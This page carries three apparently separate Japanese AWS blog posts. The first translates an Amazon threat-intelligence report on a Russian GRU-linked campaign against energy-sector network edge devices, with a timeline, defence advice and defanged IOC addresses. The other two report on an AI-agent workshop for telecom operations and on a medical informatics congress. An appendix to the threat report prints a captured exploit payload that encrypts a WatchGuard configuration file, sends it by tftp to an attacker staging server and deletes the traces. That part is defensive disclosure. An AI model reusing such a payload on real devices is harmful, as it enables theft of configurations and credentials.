本ブログは 2025 年 12 月 15 日に公開された AWS Blog “ Amazon Threat Intelligence identifies Russian cyber threat group targeting Western critical infrastructure ” を翻訳したものです。 2025 年の締めくくりとして、Amazon Threat Intelligence は、重要インフラを標的とした攻撃において大きな進化を示す、数年にわたるロシア国家支援型サイバー攻撃キャンペーンに関する知見を共有します。このキャンペーンでは、設定ミスのあるお客様のネットワークエッジデバイスが主要な初期アクセスベクトルとなり、脆弱性を悪用する活動は減少するという戦術的な転換が見られました。この戦術的な適応により、認証情報の窃取や被害組織のオンラインサービスおよびインフラストラクチャへのラテラルムーブメント (横方向への移動) という同じ攻撃目的を達成しながら、脅威アクターの露出とリソース消費を削減できるようになっています。 2026 年に向けて、組織はネットワークエッジデバイスのセキュリティ確保と認証情報リプレイ攻撃の監視を優先し、この永続的な脅威から防御する必要があります。Amazon のテレメトリで観測された既知の Sandworm (APT44 や Seashell Blizzard としても知られる) の活動との攻撃インフラの共通点と、一貫した標的パターンに基づき、この活動クラスターがロシア連邦軍参謀本部情報総局 (GRU) に関連している可能性が高いと判断しています。このキャンペーンは、西側の重要インフラ、特にエネルギーセクターに対する継続的な注力を示しており、2021 年から現在まで活動が継続しています。 技術的な詳細 キャンペーンの範囲と標的: Amazon Threat Intelligence は、2021 年から 2025 年にかけてグローバルインフラストラクチャに対する継続的な標的型攻撃を観測しており、特にエネルギーセクターに焦点が当てられています。このキャンペーンは、戦術の明確な進化を示しています。 タイムライン: 2021〜2022 年 : Amazon MadPot が WatchGuard の悪用 (CVE-2022-26318) を検出。設定ミスのあるデバイスへの標的活動を観測 2022〜2023 年 : Confluence の脆弱性悪用 (CVE-2021-26084、CVE-2023-22518)。設定ミスのあるデバイスへの標的活動が継続 2024 年 : Veeam の悪用 (CVE-2023-27532)。設定ミスのあるデバイスへの標的活動が継続 2025 年 : 設定ミスのあるお客様のネットワークエッジデバイスへの継続的な標的型攻撃。N-day エクスプロイト/ゼロデイエクスプロイト活動の減少 主な標的: 西側諸国のエネルギーセクター組織 北米および欧州の重要インフラプロバイダー クラウドホスト型ネットワークインフラストラクチャを持つ組織 一般的に標的となるリソース: エンタープライズルーターおよびルーティングインフラストラクチャ VPN コンセントレータ (VPN 集約装置) およびリモートアクセスゲートウェイ ネットワーク管理アプライアンス コラボレーションおよび Wiki プラットフォーム クラウドベースのプロジェクト管理システム 管理インターフェイスが露出した、設定ミスのある「容易に狙える標的」であるお客様のデバイスを標的にすることで、同じ攻撃目的を達成できます。つまり、重要インフラネットワークへの永続的なアクセスと、被害組織のオンラインサービスにアクセスするための認証情報の窃取です。脅威アクターの活動ペースの変化は、懸念される進化を示しています。お客様の設定ミスを標的とする活動は少なくとも 2022 年から継続していますが、この脅威アクターは 2025 年にこの活動に継続的に注力しながら、ゼロデイエクスプロイトおよび N-day エクスプロイトの使用を減少させました。これにより、より検出されやすい脆弱性悪用攻撃を通じて活動が露見するリスクを大幅に低減しています。 認証情報の窃取活動 被害組織の認証情報を窃取する手法を直接観測していませんが、複数の指標からパケットキャプチャとトラフィック分析が主要な収集方法であることを示しています。 時間分析 : デバイスの侵害から被害者のサービスに対する認証試行までの時間差は、能動的な認証情報の窃取ではなく受動的な収集を示唆しています 認証情報の種類 : オンラインサービスへのアクセスに被害組織の認証情報 (デバイスの認証情報ではない) が使用されていることは、ユーザー認証トラフィックの盗聴を示しています 既知の攻撃手法 : Sandworm の活動には一貫してネットワークトラフィック盗聴機能が含まれています 戦略的な位置取り : お客様のネットワークエッジデバイスを標的にすることで、脅威アクターは転送中の認証情報を盗聴できる位置に配置されます インフラストラクチャの標的化 AWS でホストされているインフラストラクチャの侵害: Amazon のテレメトリは、AWS でホストされているお客様のネットワークエッジデバイスに対する組織的な活動を明らかにしています。これは AWS の脆弱性によるものではなく、お客様が設定ミスをしたデバイスであると考えられます。ネットワーク接続分析では、脅威アクターが制御する IP アドレスが、お客様のネットワークアプライアンスソフトウェアを実行している侵害された EC2 インスタンスへの永続的な接続を確立していることが示されています。分析の結果、複数の影響を受けたインスタンス全体で、インタラクティブなアクセスとデータ取得と一致する永続的な接続が明らかになりました。 認証情報リプレイ活動: 被害者のインフラストラクチャへの直接的な侵害に加えて、被害組織のオンラインサービスに対する体系的な認証情報リプレイ攻撃を観測しました。観測された事例では、脅威アクターは AWS でホストされているお客様のネットワークエッジデバイスを侵害し、その後、被害組織のドメインに関連付けられた認証情報を使用して、そのオンラインサービスに対する認証を試みました。これらの特定の試行は失敗しましたが、デバイスの侵害後に被害者の認証情報を使用した認証試行が行われるパターンは、脅威アクターが侵害されたお客様のネットワークインフラストラクチャから認証情報を窃取し、標的組織のオンラインサービスに対してリプレイしているという私たちの分析を裏付けています。脅威アクターのインフラストラクチャは、2025 年を通じて、以下を含む重要セクター全体の複数の組織の認証エンドポイントにアクセスしました。 エネルギーセクター : 電力会社、エネルギープロバイダー、およびエネルギーセクターのクライアントを専門とするマネージドセキュリティサービスプロバイダー テクノロジー/クラウドサービス : コラボレーションプラットフォーム、ソースコードリポジトリ 通信 : 複数のリージョンにわたる通信プロバイダー 地理的分布: 標的活動はグローバルな範囲に及んでいます。 北米 欧州 (西欧および東欧) 中東 標的活動は、直接的な運用者と重要インフラネットワークへのアクセスを持つサードパーティのサービスプロバイダーの両方を含む、エネルギーセクターのサプライチェーンへの継続的な注力を示しています。 キャンペーンの流れ: AWS でホストされているお客様のネットワークエッジデバイスを侵害する ネイティブのパケットキャプチャ機能を活用する 盗聴したトラフィックから認証情報を窃取する 被害組織のオンラインサービスおよびインフラストラクチャに対して認証情報をリプレイする ラテラルムーブメントのための永続的なアクセスを確立する 「Curly COMrades」との攻撃インフラの共通性 Amazon Threat Intelligence は、Bitdefender が「Curly COMrades」として追跡しているグループとの攻撃インフラの共通点を特定しました。これらがより広範な GRU キャンペーン内の補完的な活動を表している可能性があると考えています。 Bitdefender のレポート : 侵害後のホストベースの攻撃手法 (EDR 回避のための Hyper-V 悪用、カスタムインプラント CurlyShell/CurlCat) Amazon のテレメトリ : 初期アクセスベクトルとクラウドピボット手法 このような役割分担 (一方のクラスターがネットワークアクセスと初期侵害に注力し、もう一方がホストベースの永続化と回避を担当する) は、より広範なキャンペーン目標を支援する専門化されたサブクラスターという GRU の活動パターンと一致しています。 Amazon の対応と阻止活動 Amazon は、高度な脅威アクターを積極的に調査し阻止することで、お客様とより広範なインターネットエコシステムの保護に引き続き取り組んでいます。 即時対応アクション: 侵害されたネットワークアプライアンスリソースを持つ影響を受けたお客様を特定し、通知 侵害された EC2 インスタンスの即時修復を支援 業界パートナーおよび影響を受けたベンダーとインテリジェンスを共有 セキュリティ調査を支援するため、ネットワークアプライアンスベンダーに観測結果を報告 阻止活動の効果: 協調的な取り組みにより、この活動を発見して以来、活動中の脅威アクターのオペレーションを阻止し、この脅威活動サブクラスターが利用可能なアタックサーフェスを削減しました。Amazon は引き続きセキュリティコミュニティと協力してインテリジェンスを共有し、重要インフラを標的とする国家支援型の脅威に対して共同で防御していきます。 組織の防御 2026 年に向けた優先対応事項 組織は、この活動パターンの証拠を積極的に監視する必要があります。 1. ネットワークエッジデバイスの監査 すべてのネットワークエッジデバイスで予期しないパケットキャプチャファイルやユーティリティがないか監査する デバイス設定で露出した管理インターフェイスがないか確認する 管理インターフェイスを分離するためにネットワークセグメンテーションを実装する 強力な認証を適用する (デフォルト認証情報の変更、MFA の実装) 2. 認証情報リプレイの検出 ネットワークデバイス管理インターフェイスとオンラインサービス間での認証情報の再利用がないか認証ログを確認する 予期しない地理的位置からの認証試行を監視する 組織のオンラインサービス全体で認証パターンの異常検出を実装する デバイス侵害の疑いがある場合、遅延した認証情報リプレイ試行がないか延長された時間枠を確認する 3. アクセス監視 予期しない送信元 IP からルーター/アプライアンス管理ポータルへのインタラクティブセッションを監視する ネットワークデバイス管理インターフェイスが意図せずインターネットに露出していないか確認する 認証情報を露出させる可能性のある平文プロトコルの使用 (Telnet、HTTP、暗号化されていない SNMP) を監査する 4. IOC の確認 エネルギーセクター組織および重要インフラ運用者は、以下に記載された IOC からの認証試行がないかアクセスログの確認を優先する必要があります。 AWS 固有の推奨事項 AWS 環境では、以下の保護対策を実装してください。 ID およびアクセス管理: 可能な限り、ID プロバイダーと IAM ロールを使用した ID フェデレーションで AWS リソースおよび API へのアクセスを管理する 詳細については、 IAM ユーザーガイド の IAM ポリシーの作成 を参照してください ネットワークセキュリティ: セキュリティグループに最小権限のルールを実装する 踏み台ホストアクセスを使用してプライベートサブネットに管理インターフェイスを分離する ネットワークトラフィック分析のために VPC Flow Logs を有効にする 脆弱性管理: Amazon Inspector を使用して、Amazon EC2 インスタンスのソフトウェアの脆弱性と意図しないネットワークの露出を自動的に検出してスキャンする 詳細については、 Amazon Inspector ユーザーガイド を参照してください インスタンス上のオペレーティングシステムとアプリケーションを定期的にパッチ適用、更新、保護する 検出と監視: API アクティビティ監視のために AWS CloudTrail を有効にする 脅威検出のために Amazon GuardDuty を設定する 認証情報リプレイパターンがないか認証ログを確認する IOC (侵害の痕跡) IOC 値 IOC タイプ 初回観測 最終観測 注釈 91.99.25[.]54 IPv4 2025-07-02 現在 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 185.66.141[.]145 IPv4 2025-01-10 2025-08-22 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 51.91.101[.]177 IPv4 2024-02-01 2024-08-28 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 212.47.226[.]64 IPv4 2024-10-10 2024-11-06 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 213.152.3[.]110 IPv4 2023-05-31 2024-09-23 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 145.239.195[.]220 IPv4 2021-08-12 2023-05-29 脅威アクターのトラフィックをプロキシするために使用された侵害された正規サーバー 103.11.190[.]99 IPv4 2021-10-21 2023-04-02 WatchGuard 設定ファイルを窃取するために使用された侵害された正規ステージングサーバー 217.153.191[.]190 IPv4 2023-06-10 2025-12-08 偵察と標的選定に使用された長期インフラストラクチャ 注: 特定されたすべての IP は、脅威アクターにとって複数の目的に使用されているか、正規の運用を継続している可能性のある侵害された正規サーバーです。組織は自動的にブロックするのではなく、一致した場合のコンテキストを調査する必要があります。記載された期間中にこれらの IP がルーター管理インターフェイスにアクセスし、オンラインサービスへの認証を試行していることを観測しました。 技術付録: CVE-2022-26318 エクスプロイトペイロード 以下のペイロードは、2022 年の WatchGuard 悪用キャンペーン中に Amazon MadPot によってキャプチャされたものです。 from cryptography.fernet import Fernet import subprocess import os key = 'uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk=' with open('/etc/wg/config.xml', 'rb') as config_file: buf = config_file.read() fernet = Fernet(key) enc_buf = fernet.encrypt(buf) with open('/tmp/enc_config.xml', 'wb') as encrypted_config: encrypted_config.write(enc_buf) subprocess.check_output(['tftp', '-p', '-l', '/tmp/enc_config.xml', '-r', '[REDACTED].bin', '103.11.190[.]99']) os.remove('/tmp/enc_config.xml') このペイロードは、脅威アクターの攻撃手法を示しています。窃取した設定データを暗号化し、TFTP 経由で侵害されたステージングインフラストラクチャに送信した後、フォレンジック証拠を削除しています。 この投稿に関するご質問がある場合は、 AWS サポート にお問い合わせください。 CJ Moses CJ Moses は Amazon Integrated Security の CISO です。Amazon 全体のセキュリティエンジニアリングと運用を統括しています。彼のミッションは、セキュリティのメリットを最も抵抗の少ない道にすることで、Amazon のビジネスを支援することです。2007 年 12 月に Amazon に入社し、Consumer CISO、直近では AWS CISO など様々な役職を歴任した後、2023 年 9 月に Amazon Integrated Security の CISO に就任しました。 Amazon 入社前は、連邦捜査局 (FBI) サイバー部門でコンピュータおよびネットワーク侵入の技術分析を統括していました。また、空軍特別捜査局 (AFOSI) の特別捜査官としても勤務しました。今日のセキュリティ業界の基盤となるいくつかのコンピュータ侵入捜査を主導しました。 コンピュータサイエンスと刑事司法の学位を持ち、現役の SRO GT America GT2 レースカードライバーでもあります。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

通信業界のネットワーク運用ではより安定した通信ネットワークを提供するために、障害の検知、要因特定、復旧を早期に対応する必要があります。一方で、近年拡張し複雑化し続けるネットワークに追従することは従来のオペレーションでは難しく、自動化、高度化、自律化が求められています。その実現手段の1つとして、AI エージェントとデータ活用が注目されており、導入への期待が高まる一方で、AI を適用する運用ユースケースの策定、より簡単な AI エージェントの実装方法、商用運用への本格導入、といった課題があります。そこで、本ワークショップでは、通信ネットワークの運用に携わる方向けに、 AI エージェントの仕組みを学び、参考アーキテクチャや事例から最新動向を知り、ハンズオンでより具体的な実装方法を学び、ネットワーク運用 AI エージェントを触って体感していただく場を提供しました。事例紹介の 1 つとして、株式会社 NTTドコモにご登壇いただきました。また、複数社による同じネットワーク運用に携わる者同士の意見交換や AI エージェント活用のためのユースケース議論を行っていただくことで、他社動向や自社の課題を浮き彫りにし、今後のアクションの参考にしていただく場も提供しました。通信ネットワーク運用に特化した業界横断イベントは、今回初めてであり今後も定期的に開催していきたいと思います。 早朝から 96 名/ 14 社のお客様に目黒オフィスまで足を運んでいただき、懇親会まで含めて大盛況なイベントとなりました。ご参加いただきました皆様、本当にありがとうございました！！ アジェンダ タイトル スピーカー 資料 AI エージェント とは – Autonomous Network の実現のために 宮崎 友貴*1 ダウンロード Strands Agents ハンズオン – AI エージェント開発を簡素化しよう 神谷 拳四郎*1 ダウンロード ランチタイム ユースケース議論 宮崎 友貴 通信ネットワーク運用 AI エージェント実践編 – 実際に作って、動かして、触ってみよう 堀場 勝広*2 ダウンロード Amazon Bedrock AgentCore 概要 – AI Agent を本番環境にデプロイおよび運用する方法を学ぼう 川岸 基成*1 ダウンロード クロージング 宮崎 友貴 ダウンロード 懇親会 – – ※1. Solutions Architect, ※2. Principal Solutions Architect AI エージェント とは – Autonomous Network 実現のために 通信業界のオペレーション標準化団体である TM Forum では、 Autonomous Network (自律ネットワーク）の自律レベルを定義しており、 近年、多くの通信事業者が L4 (高度自律ネットワーク) / L5 (完全自律ネットワーク) を目指す動きが出てきています。それを実現するためのコンポーネントの例と AWS で実現する参考アーキテクチャをご紹介しました。このアーキテクチャのキーは、AI エージェント × データであり、Autonomous Network の実現には必須要素であることをお伝えしました。そして、AI エージェントが自律的な行動を行うことができるようになった基礎技術や変遷と共に、オペレーション業務に携わるオペレータと近い動きができることを説明しました。最後に、AI エージェントの活用事例とネットワーク運用における AI エージェントの 参考ユースケース をご紹介することで、最新の業界動向と AI エージェントによる自律運用が実現可能な世界であることをインフルエンスさせていただきました。 宮崎 友貴 Solutions Architect NTTドコモ 「さらば、単純作業！AWSで実現する、”人間が人間らしく働く”ためのネットワーク運用自動化」の事例紹介 AI エージェントを使ったネットワーク運用自動化の事例として、NTTドコモ の舟山空良氏と福嶋章悟氏にご登壇いただきました。両氏は、モバイル端末と MEC 基盤を直結して通信経路を最適化することで、低遅延・高セキュリティ通信を実現するサービス docomo MEC® のオプションであるサービス「MECダイレクト®」 の開発・構築・運用を担当しており、定義済みのフローによる運用の自動化がある程度完了したことで、さなる自動化を目指し、AI の活用に挑戦しました。 株式会社 NTTドコモ 舟山 空良氏（写真左） 福嶋 章悟氏（写真右） 登壇時点では、AI エージェントによる監視措置業務の自律的な実行を実現し、アラート受信、分析、措置手順の提案までの自動化を達成され、そのソリューションとして Amazon Bedrock エージェント を使用していることをご説明いただきました (以下、システム構成図)。Bedrock エージェントの選定の理由としては、マネージドかつサーバーレスなためインフラの構築に時間をかけず迅速な開発を行うことができた点や、社内のセキュリティ承認を得るためのデータプライバシーの観点で Bedrock ではデータをモデルの学習にはしない点が評価されました。 実際の AI エージェントの開発では、参照するデータを泥臭く時間をかけて整備し、プロンプトを工夫することが精度向上には必要であることや、AI に完璧さを求めないこと、がリアルな実装のポイントとして挙げられました。将来的には、LLM 適用による維持管理業務への AI エージェントの適用を行い、AI エージェントの適用領域のさらなる拡張を進め、自律レベルの向上を目指しています。 Strands Agents ハンズオン – AI エージェント開発を簡素化しよう Autonomous Network 実現の核となる AI エージェント、それをわずか数行のコードで構築可能なオープンソース SDK である Strands Agents をご紹介しました。Strands Agents はシンプルな実装だけでなく、本番稼働に対応するためのオブザーバビリティ、モデルプロバイダーやデプロイ環境に依存しない設計思想、データを保護しながら責任を持ってエージェントを実行することを最優先とするなどの特徴があります。本パートでは実際に SDK を使って AI エージェントを構築し、Strands Agents における主要な概念と機能を探索するハンズオンを行いました。 神谷 拳四郎 Solutions Architect Autonomous Network の自律レベル向上を目指していくにあたっては、単一の AI エージェントによるタスク処理だけではなく、マルチエージェントによる協調の必要性が高まってくるでしょう。異なるスキルやモダリティをもつ、複数の専門化された AI エージェントを効果的に組み合わせるデザインパターンとして Agents as Tools、Swarm、Graph、Workflow の4つをご紹介しました。 運用業務における AI エージェントのユースケース議論 本イベントは、複数社の運用担当者にご参加いただいたので、各社混合のグループディスカッションを AWS 社員も交えて実施いただきました。議論テーマは、以下です。各社、自担当の業務をご紹介いただき、どのような業務を AI エージェントに任せられるのか、を議論いただきました。AI エージェントに任せられる業務としては、調査、分析、切り分け、オペレータの支援、ドキュメント作成、オペレーションの記録、ネットワークのエッジ側での操作、などが挙げられ、任せられない業務としては、サービス影響の出る可能性のあるオペレーションの実行、顧客対応や社内調整など対人コミュニケーション関連の業務が挙げられました。各社の AI 活用状況や運用の現場における課題の共有、活発な意見交換が行われました。 通信ネットワーク運用 AI エージェント実践編 – 実際に作って、動かして、触ってみよう 本セッションでは、「実際に触って、動かして、理解して、そして、考えてみよう」というコンセプトに、通信ネットワーク運用における AI エージェント活用の実践的なハンズオンを実施しました。参加者の皆様には、通信ネットワークの保守運用者の立場で、数千台以上の装置で構成されるトランスポート～基地局 NW 網を管理し、毎日数万件以上のアラームが発生する環境で AI エージェントを活用したネットワーク運用を体験いただきました。 堀場 勝広 Solutions Architect ハンズオンの技術アーキテクチャ 本ハンズオンでは、AWS の複数のサービスを統合した実践的な環境を構築しました。データストア層として、 Amazon Neptune をグラフ DB とベクトル DB の両方で活用し、ネットワークトポロジデータとエージェント用の知識ベースを格納しました。また、 Amazon Aurora (RDB) にはネットワークトポロジとアラーム情報を、 Amazon S3 ストレージには保守運用マニュアルや対応手順書を格納しました。 AI処理層では、Amazon Bedrock が提供する大規模言語モデル（LLM）を基盤として、複数の専用 AI エージェントを配置しました。Orchestration エージェント（全体調整）、Observability （分析）エージェント、ナレッジエージェント、チケット管理エージェント、そしてRCA （根本原因分析）エージェントが連携し、包括的なネットワーク運用支援を実現しています。さらに、外部システムとして ServiceNow ITSM と連携し、インシデントチケットの管理も可能にしました。 実践的な対話シナリオ 参加者の皆様には、AI エージェントとの対話を通じて、以下のような実践的なシナリオを体験いただきました。 ナレッジベースへのアクセス：「網内の装置にて IF 品質異常発⽣(流⼊ error )が発⽣した場合どう対処すべきか？」といった質問を通じて、保守運用マニュアルから必要な情報を即座に取得する体験をしていただきました。 アラームの分析：「 2024-0713-0900 前後 30 分間に埼玉エリアで発生したアラームから、発生していたネットワーク障害の内容をまとめて下さい」といった時系列での障害分析や、計画作業との関係性分析を実施しました。 トポロジの分析：アラーム情報とネットワークトポロジ情報を組み合わせることで、障害の根本的な原因を特定する高度な分析を体験いただきました。さらに、マニュアルに沿った対応として、「根本的な原因を解決するために必要な処理は何ですか？保守運用マニュアルに従って回答して下さい」という質問を通じて、AI エージェントが適切な対応手順を提示する様子を確認しました。 最後にチケットの起票：「障害の概要、根本原因の分析結果、対応手順を取りまとめて ServiceNow にチケット起票」と言う依頼を通じて、AI エージェントが一連の対応を外部システム( ServiceNow )に書き込み可能なことをご確認いただきました。 システムの内部構造を探る – 応用編 ハンズオンの後半では、Jupyter Notebook を使用して AI エージェントの動作をカスタマイズし、パラメータ調整による応答内容の最適化を体験いただきました。例えば、マルチエージェント構成のオーケストレーターエージェントのシステムプロンプトを変更することにより、他のエージェントの呼び出し方の変化を体験いただきました。これにより、AI エージェントが単なるブラックボックスではなく、調整可能なシステムであることを実感していただけたと考えています。 ハンズオンを経験した上でのユースケース議論 ワークショップの後半 60 分間では、グループに分かれて AI エージェントの活用方法を議論しました。参加者の皆様には、以下の5つの質問を軸に、自担当でのオペレーション業務の洗い出しから、AI エージェントに任せられる業務と任せられない業務の仕分け、その判断基準の検討、必要なデータと指示（プロンプト）の検討、そして実際の AI エージェントアーキテクチャの設計まで、包括的なディスカッションを行っていただきました。このグループワークを通じて、AI が単なるツールではなく、ネットワーク運用を変革する可能性を持つことを体感いただけたと考えています。特に、どの業務を AI に委譲できるか、どこで人間の判断が必要かという議論は、実際の業務への適用を考える上で非常に重要な示唆を与えるものとなりました。 Amazon Bedrock AgentCore 概要 – AI Agent を本番環境にデプロイおよび運用する方法を学ぼう 続いては、AI エージェントを大規模かつ安全に構築、デプロイ、運用するためのビルディングブロック Amazon Bedrock AgentCore についてのセッションです。これまでのセッションで Strands Agents を利用したエージェントを作りました。このエージェントを本番環境で運用するには、リクエスト増減に合わせてさばけるスケーラブルなコンピューティング環境、認証認可の仕組み、会話履歴などを管理する記憶領域、ツールへの接続と管理、などを考慮する必要があります。これらの課題解決に役立つのが Amazon Bedrock AgentCore であることをお伝えしました。 川岸 基成 Solutions Architect 通信ネットワーク運用というワークロードに当てはめた際の使い方や価値についてもお伝えしました。例えば、機密性の高いNW運用ワークロードでは、Runtime のセッション分離のセキュアな環境が役立つでしょう。AI Agent とのやり取りの中で発見されたインシデントパターン、解決戦略などのナレッジを Memory に蓄積・活用していくことで、より精度を高められる可能性があります。 クロージング 最後に、ワークショップ全体の振り返りながら、AI エージェントを導入するには、AI エージェントに加えてユースケースに応じたオペレーションデータを活用することが必須であることを改めて伝えさせていただきました。また、その実現に向けて AWS がどのように貢献をすることができるか、について、サービスとしてのメリットだけではなく、豊富な事例やネットワーク運用を理解した支援が可能である点をお伝えしました。本ワークショップはその支援の一つであり、ネットワーク運用に携わる方にとってより実用的な内容だったかと思います。 おわりに 本記事では、「通信ネットワーク運用向け AI エージェントワークショップ」についてレポートしました。参加頂いたお客様からは「AI エージェントの現場への導入へのイメージの確度が高めることができた」「やれる気がしてきた」「他社他部署の運用保守に携わる方と交流できた貴重な時間」「Amazon Bedrock AgentCore がサーバレスなので運用がとても楽になる」などのご評価を頂きました。ご参加頂いた皆様、本当にありがとうございました。頂いたフィードバックをもとに改善を重ねて参ります。また、ネットワークの運用 AI エージェントの導入に向けて、本内容が少しでも皆様の業務のお役に立てば幸いです。 著者 宮崎 友貴 アマゾン ウェブ サービス ジャパン合同会社 技術統括本部 ストラテジックインダストリー技術本部 通信グループ ソリューションアーキテクト 神谷 拳四郎 アマゾン ウェブ サービス ジャパン合同会社 技術統括本部 ストラテジックインダストリー技術本部 通信グループ ソリューションアーキテクト 川岸 基成 アマゾン ウェブ サービス ジャパン合同会社 技術統括本部 ストラテジックインダストリー技術本部 通信グループ ソリューションアーキテクト 堀場 勝広 アマゾン ウェブ サービス ジャパン合同会社 Telecom Industry Business Unit プリンシパルソリューションアーキテクト

2025 年 11 月 12 日(水) ～ 11 月 15 日(土) の 4 日間、兵庫県姫路市のアクリエひめじにて 第 45 回医療情報学連合大会 が開催されました。大会テーマは「医療 DX がもたらす医療情報新時代」。参加登録者数は 3,800 名を超え、現地では 2,900 名が参加されました。AWS は本大会において、スポンサードセッション「生成AIとヘルステックの融合が拓く、次世代の医療サービス」と展示ブースでの情報提供を通じて、医療関係者・研究者の皆様と医療 DX と生成 AI 活用の最新動向を共有する機会をいただきました。本ブログでは、セッションの登壇内容と展示ブースでの取り組みについてご報告します。 生成AIとヘルステックの融合が拓く、次世代の医療サービス AWS のスポンサードセッションでは、はじめに AWS 公共部門 ヘルスケア事業本部 本部長の大場から、医療における生成 AI の展望と Agentic AI の可能性について説明しました。続いて、 株式会社メドレー 様から、医療現場での生成 AI 活用の実践事例をご紹介いただきました。 医療における生成 AI の展望と Agentic AI の可能性 AWS 公共部門 ヘルスケア事業本部 本部長　大場 弘之　登壇 [ slide ] AWS では、医療機関が安全かつ効率的に生成 AI を活用できるよう、Amazon Bedrock を中核とした包括的なサービスを提供しています。Bedrock では、お客様のデータが基盤モデルの学習に利用されることはなく、プライベートかつセキュアな利用が可能です。Claude Sonnet 4.5/ Claude Haiku 4.5 / Nova 2 Lite 等の一部のモデルでは 日本国内に限定したクロスリージョン推論 を提供しています。これらにより、お客様が医療情報ガイドラインをはじめとした、高いコンプライアンス要件に準拠するための実装をサポートしています。 セッションでは、生成 AI の進化の中でも特に注目される Agentic AI について説明しました。従来の Chatbot が単純な質問応答を行い、RAG（Retrieval-Augmented Generation）が組織固有の知識を活用した回答を提供するのに対し、Agentic AI は多様なツールやシステムと連携しながら、複雑なタスクを自律的に実行できる点が特徴です。医療現場では、この Agentic AI が診療記録の作成や検査オーダー、文書作成など、医療従事者の業務を包括的に支援する可能性を持っています。 AWS Japan は ヘルスケア・ライフサイエンス業界向けの生成 AI デモ・AI エージェントツール群として「 HealthData x Agent 」を 10月に公開しました。医療現場で Agentic AI がどのように活用できるのか、具体的なユースケースを通じて体験いただけます。AWS では、医療における AI エージェントの展開を支援するため、開発から本番環境への展開まで、段階に応じた多様なサービスを提供しています。AI エージェント開発のためのオープンソース SDK (Software Development Kit) の Strands Agent のほか、 Amazon Bedrock Agents ではエージェント開発からクラウドへのデプロイまでフルマネージドに利用できます。さらに Amazon Bedrock AgentCore を活用すれば、任意のフレームワークや基盤モデルで開発したエージェントを大規模かつ安全に運用できます。これらの強力なサービスを通じて、医療における AI エージェントの展開を推進してまいります。 AWS を活用されているお客様の最新事例は「 医療機関向け これから学ぶ AWS クラウド 」をご確認ください。 医療 AI の現在と未来：クラウド電子カルテが描く未来の世界観 株式会社メドレー 医療プラットフォーム本部 医科診療所プロダクト開発室長　佐藤 雄介 様　登壇 [ slide ] 医師の働き方改革が進む中、特に診療所では医療文書作成が多くの業務時間を占めており、医師が診療や患者との対話により注力できる環境の整備が急務となっています。2024 年 4 月に施行された「医師の働き方改革」により時間外労働の上限規制が適用され、医師の長時間残業は全体として減少傾向にありますが、診療所における経営者である医師の長時間労働は依然として常態化しています。こうした背景から、医療 AI 市場の成長が期待されています。次世代医療プラットフォームを提供する メドレーの佐藤様からは、人件費の AI 置換率が 5 年で 2.5%、10 年で 5% というベースケースを仮定した場合、生成 AI の技術革新により医療 AI 市場が 2035 年には約 1.5 兆円規模に達するとの予測を紹介いただきました。 セッションでは、医療現場での実証実験を通じて、生成 AI がカルテ作成や医療文書作成業務の効率化に貢献できることが紹介されました。診察中の発話をリアルタイムで文字起こしし、AI が自動要約する仕組みでは、SOAP 形式など複数のフォーマットに対応し、1 クリックでカルテに転記できます。これにより、医師が「メモを取ることに集中しなくてよい」という安心感を提供し、患者との対話により集中できる環境を実現します。 実際の医療機関での先行利用では、カルテ作成時間を約 11.3% 削減されることが確認されました。医師からは「1 日あたり 30 分〜 1 時間程度、カルテ入力にかかる時間が短縮している」との声があり「メモを取ることに集中しなくてよい」安心感が大きいとのフィードバックが得られています。患者からも「最新技術を取り入れている」「話したことをきちんと記録してもらえる」と好意的な反応が得られており、生成 AI は医療従事者の業務効率化だけでなく、患者体験の向上にも寄与することが示されました。詳細はメドレー様の プレスリリース をご参照ください。 セッション後半では、生成 AI が医療プロセスをどのように変革していくかというビジョンについてご発表いただきました。 まず、今後の展望として、主治医意見書作成のような個別業務において生成 AI がアシストする機能が拡張されていくとのお話がありました。さらに、AI エージェントが患者とコミュニケーションを行うことで、早期のリスク検出や診療前の事前準備が可能になるなど、エージェント技術が医療の質向上に貢献する可能性についてもご紹介いただきました。 具体的なユースケースと将来展望を交えたセッションの内容は、医療現場での AI 活用を検討される聴講者の皆様にとって、大変有益な示唆に富むものとなりました。 展示ブース 展示ブースでは、パネルとデモを通じて医療分野における生成 AI 活用についてご紹介しました。特に、デモ展示では包括的な生成 AI を活用したビジネスインテリジェンスプラットフォームの Amazon Quick Suite をはじめ、生成 AI 関連のサービスやソリューションを展示しました。データの可視化と自然言語によるデータ分析をテーマにデモンストレーションを実施し、来場者の皆様に実際にご覧いただき、操作も体験いただきました。会場では多くのご質問やフィードバックをいただきました。 パネル展示で特に注目を集めたのが、医療機関が直面する生成 AI 活用の課題を解決するための「 ANGEL Dojo 」という内製化支援プログラムです。ANGEL Dojo は参加組織から選出された 10 名程度のメンバーでチームを組み、約 3 ヶ月間でサービスの企画から開発までを行うトレーニングです。特徴としては、 AWS パートナーによる「共創型内製化」を実現する点にあります。2025 年 10 月に開催された ANGEL Dojo 2025 では、初めて医療機関からご参加いただき、2 つの病院から成果を上げられました。兵庫県立リハビリテーション中央病院様では、富士ソフト株式会社と協力し、スケジュール作成時間を 80% 短縮し、60% の自動化を実現されました。特筆すべき点として、IT 知識ゼロの総務部の方が、90 日間で AWS の上での開発におけるベストプラクティスである Well-Architected フレームワーク に則ったシステム構成を実装されました。熊本中央病院様では、キヤノン IT ソリューションズ株式会社と協力し、月 800 時間の文書作成時間削減を実現し、月 2,000 件以上の文書作成業務を効率化されました。看護師をはじめとした病院内の方々がチームを構成し、実用的なシステムを開発された点が特筆されます。両病院の取り組みの詳細については、ANGEL Dojo のブログ記事「 地方病院がシステムの内製化に挑戦!? IT 知識ゼロから始めた生成 AI による業務効率化への 90 日 」をご参照ください。 おわりに 第 45 回医療情報学連合大会を通じて、医療 DX における生成 AI の可能性と、それを実現するための具体的なアプローチについて、多くの医療従事者・研究者の皆様と議論を深めることができました。ANGEL Dojo の事例が示すように、IT 知識がない状態からでも、適切な支援とパートナーシップがあれば、医療機関自らが生成 AI を活用したシステムを構築することが可能です。 AWS は今後も、医療機関の皆様が安全かつ効率的に生成 AI を活用できるよう、包括的なサービスとサポートを提供してまいります。医療 DX や生成 AI 